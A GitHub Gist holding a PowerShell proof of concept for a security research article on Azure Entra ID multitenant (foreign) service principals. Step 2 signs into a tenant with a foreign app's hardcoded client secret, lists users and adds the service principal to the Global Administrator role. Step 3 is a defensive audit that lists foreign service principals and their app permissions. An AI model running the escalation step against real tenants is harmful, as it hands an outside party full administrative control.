Last active
April 8, 2024 14:12
-
-
Save m8r1us/86434d2fb7b9e31a71ba4295d6cb2a3a to your computer and use it in GitHub Desktop.
Foreign service principal POC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# The script is part of the following article: https://www.scip.ch/en/?labs.20240404 | |
$myTenantId = "cdfdd915-c827-..." # The tenant registering the foreign application (Source: My Tenant) | |
$foreignTenantId = "d2a16643-37f9-4a19-..." # The tenant who is hosting the application (Source: Foreign Tenant) | |
$spPassword = "5YB8Q~iFPkt7WXYbqZkzi42BqpPgVJCWR-assd1" # The client secret from the app (Source: Foreign Tenant) | |
$appName = "foreignApp" # The app name (Source: Foreign Tenant) | |
# -------------- | |
#Step 0 (Foreign Tenant): Create an application in the portal | |
# -------------- | |
# Create the multitenant app in the foreign tenant according to the article | |
# Name: foreignApp | |
# -------------- | |
#Step 1 (My Tenant): Register the foreign app in the Tenant | |
# -------------- | |
# Register the foreignapp application according to the article | |
# Browse to https://login.microsoftonline.com/organizations/adminconsent?client_id=<client id> | |
# -------------- | |
#Step 2 (Foreign Tenant): Login with the service principal | |
# -------------- | |
# Get the client App ID from the application | |
Write-Host "[*] Login with the foreign tenant admin to get the application client id of the app $($appName)`n" -ForegroundColor red | |
Connect-MgGraph -scopes "Application.Read.All" -TenantId $foreignTenantId -NoWelcome | |
Write-Host "[*] Output the connection context" -ForegroundColor red | |
Get-MgContext | |
$appFilter = "displayName eq '$($appName)'" | |
$foreignApp = Get-MgServicePrincipal -All -Filter $appFilter | |
Write-Host "[*] The application client id of the app $($appName) is: $($foreignApp.AppId)`n" -ForegroundColor red | |
Disconnect-MgGraph | Out-null | |
Write-Host "[*] Login with the Service Principal credentials from the foreign tenant to the my tenant`n" -ForegroundColor red | |
$spPwd= ConvertTo-SecureString $spPassword -AsPlainText -Force | |
$psCred = New-Object System.Management.Automation.PSCredential($foreignApp.AppId, $spPwd) | |
Connect-MgGraph -TenantId $myTenantId -ClientSecretCredential $psCred -NoWelcome | |
Write-Host "[*] Output the connection context`n" -ForegroundColor red | |
Get-MgContext | |
# Find the foreign Service Principal | |
$appFilter = "displayName eq '$($appName)'" | |
$foreignsp = Get-MgServicePrincipal -All -Filter $appFilter | |
Write-Host "[*] Output 5 users -> With the Directory.Read.All AppRole we can now query the users `n" -ForegroundColor red | |
Get-MgUser -top 5 | select userprincipalname | |
Write-Host "[*] With the AppRole RoleManagement.ReadWrite.Directory we can add the Service Principal to the Global Administrator role `n" -ForegroundColor red | |
# Assign the Global Administrator role to the foreign Service Principal | |
$globalAdmin = Get-MgDirectoryRole | Where-Object { $_.DisplayName -eq "Global Administrator" } | |
New-MgDirectoryRoleMemberByRef -DirectoryRoleId $globalAdmin.Id -BodyParameter @{"@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$($foreignsp.id)"} | |
$roleMembers = Invoke-MgGraphRequest -Method GET "https://graph.microsoft.com/beta/directoryRoles/$($globalAdmin.Id)/members?`$select=id,displayName,appOwnerOrganizationId,publisherName,userPrincipalName,servicePrincipalType,appId" | |
$roleMembers = $roleMembers["value"] | ForEach-Object { | |
[PSCustomObject]@{ | |
objectid = $_.id | |
DisplayName = $_.displayName | |
userPrincipalName = $_.userPrincipalName | |
appid = $_.appId | |
appOwnerOrganizationId = $_.appOwnerOrganizationId | |
publisher = $_.publisherName | |
servicePrincipalType = $_.servicePrincipalType | |
} | |
} | |
Write-Host "[*] Members of the Global Administrator role including the foreign service principal `n" -ForegroundColor red | |
$roleMembers | select displayName, userPrincipalName, servicePrincipalType, objectid | |
$roleMembers | Out-GridView -Title "Members of the Global Administrator role" | |
Disconnect-MgGraph | Out-null | |
# -------------- | |
#Step 3 (My Tenant): Find foreign service principals with application permissions | |
# -------------- | |
Write-Host "[*] Login with the MyTenant Admin `n" -ForegroundColor Green | |
Connect-MgGraph -scopes "Application.Read.All" -NoWelcome | |
Write-Host "[*] Output the connection context `n" -ForegroundColor Green | |
$mgcontext = Get-MgContext | |
$mgcontext | |
$foreignsp = Get-MgServicePrincipal -All | Where-Object { $_.AppOwnerOrganizationId -ne $mgcontext.TenantId -and $_.AppOwnerOrganizationId -ne $null } | |
$collSpAppRolePermissions = "" | |
$collSpAppRolePermissions = New-Object System.Collections.ArrayList | |
$progress = 0 | |
$TotalCount = $foreignsp.Count | |
# Query for AppRoles once and store in a hashtable | |
$appRolesHashTable = @{} | |
$allAppRoles = Get-MgServicePrincipal -All | Select-Object Id,AppRoles | |
foreach ($appRole in $allAppRoles) { | |
foreach ($role in $appRole.AppRoles) { | |
$appRolesHashTable["$($appRole.Id)-$($role.Id)"] = $role | |
} | |
} | |
foreach ($sp in $foreignsp) | |
{ | |
$DisplayName = $sp.DisplayName | |
$Progress += 1 | |
$ProgressPercentage = (($Progress / $TotalCount) * 100) -As [Int] | |
If ($Progress -eq $TotalCount) { | |
Write-Host "[*] Processing Service Principals: [${Progress}/${TotalCount}][${ProgressPercentage}%] Current Service Principals: ${DisplayName}`n" -ForegroundColor Green | |
} else { | |
If (($Progress % 100) -eq 0) { | |
Write-Host "[*] Processing Service Principals: [${Progress}/${TotalCount}][${ProgressPercentage}%] Current Service Principals: ${DisplayName}" -ForegroundColor Green | |
} | |
} | |
# AppPermission - What application permissions have been assigned to the service principal? | |
$spAppRolePermissions = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.id -All | Select-Object PrincipalId,PrincipalType,ResourceId,ResourceDisplayName,Id,PrincipalDisplayName,AppRoleId | |
foreach ($spAppRolePermission in $spAppRolePermissions) | |
{ | |
#Translate Rights | |
$getAppRole = $appRolesHashTable["$($spAppRolePermission.ResourceId)-$($spAppRolePermission.AppRoleId)"] | |
$customObject = [PSCustomObject]@{ | |
mytenant = $mgcontext.TenantId | |
foreigntenant = $sp.AppOwnerOrganizationId | |
principalDisplayName = $spAppRolePermission.PrincipalDisplayName | |
principalId = $spAppRolePermission.PrincipalId | |
principalType = $spAppRolePermission.PrincipalType | |
resourceId = $spAppRolePermission.ResourceId | |
resourceDisplayName = $spAppRolePermission.ResourceDisplayName | |
appRoleId = $spAppRolePermission.AppRoleId | |
appRoleIdd = $getAppRole.Id | |
appRoleValue = $getAppRole.Value -replace '\.', '' | |
appDisplayname = $getAppRole.DisplayName | |
appDescription = $getAppRole.Description | |
} | |
$null = $CollSpAppRolePermissions.Add($customObject) | |
} | |
} | |
Write-Host "[*] All foreign service principals found are displayed below for review `n" -ForegroundColor Green | |
$CollSpAppRolePermissions | select mytenant, foreigntenant, principalDisplayName, principalId, appRoleValue | |
$CollSpAppRolePermissions | Out-GridView -Title "Foreign Service Principal with AppRoles" | |
Disconnect-MgGraph | Out-null |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment